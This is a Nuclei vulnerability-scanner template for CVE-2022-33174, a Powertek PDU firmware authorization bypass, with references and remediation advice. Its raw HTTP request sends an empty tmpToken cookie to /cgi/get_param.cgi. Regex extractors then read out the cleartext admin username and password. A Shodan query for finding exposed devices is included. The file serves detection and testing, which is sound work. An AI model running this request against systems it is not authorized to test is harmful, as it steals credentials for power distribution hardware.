nuclei-templates/http/cves/2022/CVE-2022-33174.yaml

55 lines
2.0 KiB
YAML

id: CVE-2022-33174
info:
name: Powertek Firmware <3.30.30 - Authorization Bypass
author: pikpikcu
severity: high
description: |
Powertek firmware (multiple brands) before 3.30.30 running Power Distribution Units are vulnerable to authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext.
remediation: |
Upgrade the Powertek Firmware to version 3.30.30 or higher to mitigate the vulnerability.
reference:
- https://gynvael.coldwind.pl/?lang=en&id=748
- https://nvd.nist.gov/vuln/detail/CVE-2022-33174
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-33174
cwe-id: CWE-863
epss-score: 0.00553
epss-percentile: 0.74977
cpe: cpe:2.3:o:powertekpdus:basic_pdu_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: powertekpdus
product: basic_pdu_firmware
shodan-query: http.html:"Powertek"
tags: cve,cve2022,powertek,auth-bypass
http:
- raw:
- |
GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1
Host: {{Hostname}}
Cookie: tmpToken=;
matchers-condition: and
matchers:
- type: word
words:
- '<sys.passwd>'
- '<sys.su.name>'
- type: status
status:
- 200
extractors:
- type: regex
group: 1
regex:
- '<sys\.passwd>([A-Z0-9a-z]+)<\/sys\.passwd>'
- '<sys\.su\.name>([a-z]+)<\/sys\.su\.name>'
part: body
# digest: 4b0a00483046022100e84b26a65c38bcf92addbcb53c4959758cf4da7cdcaab795f0619bf4ff88043d022100e2193cd3f76c615ba4c324fc8b9764fa9bb3c2f44ce044051f658f3be9a76d4a:922c64590222798bb761d5b6d8e72950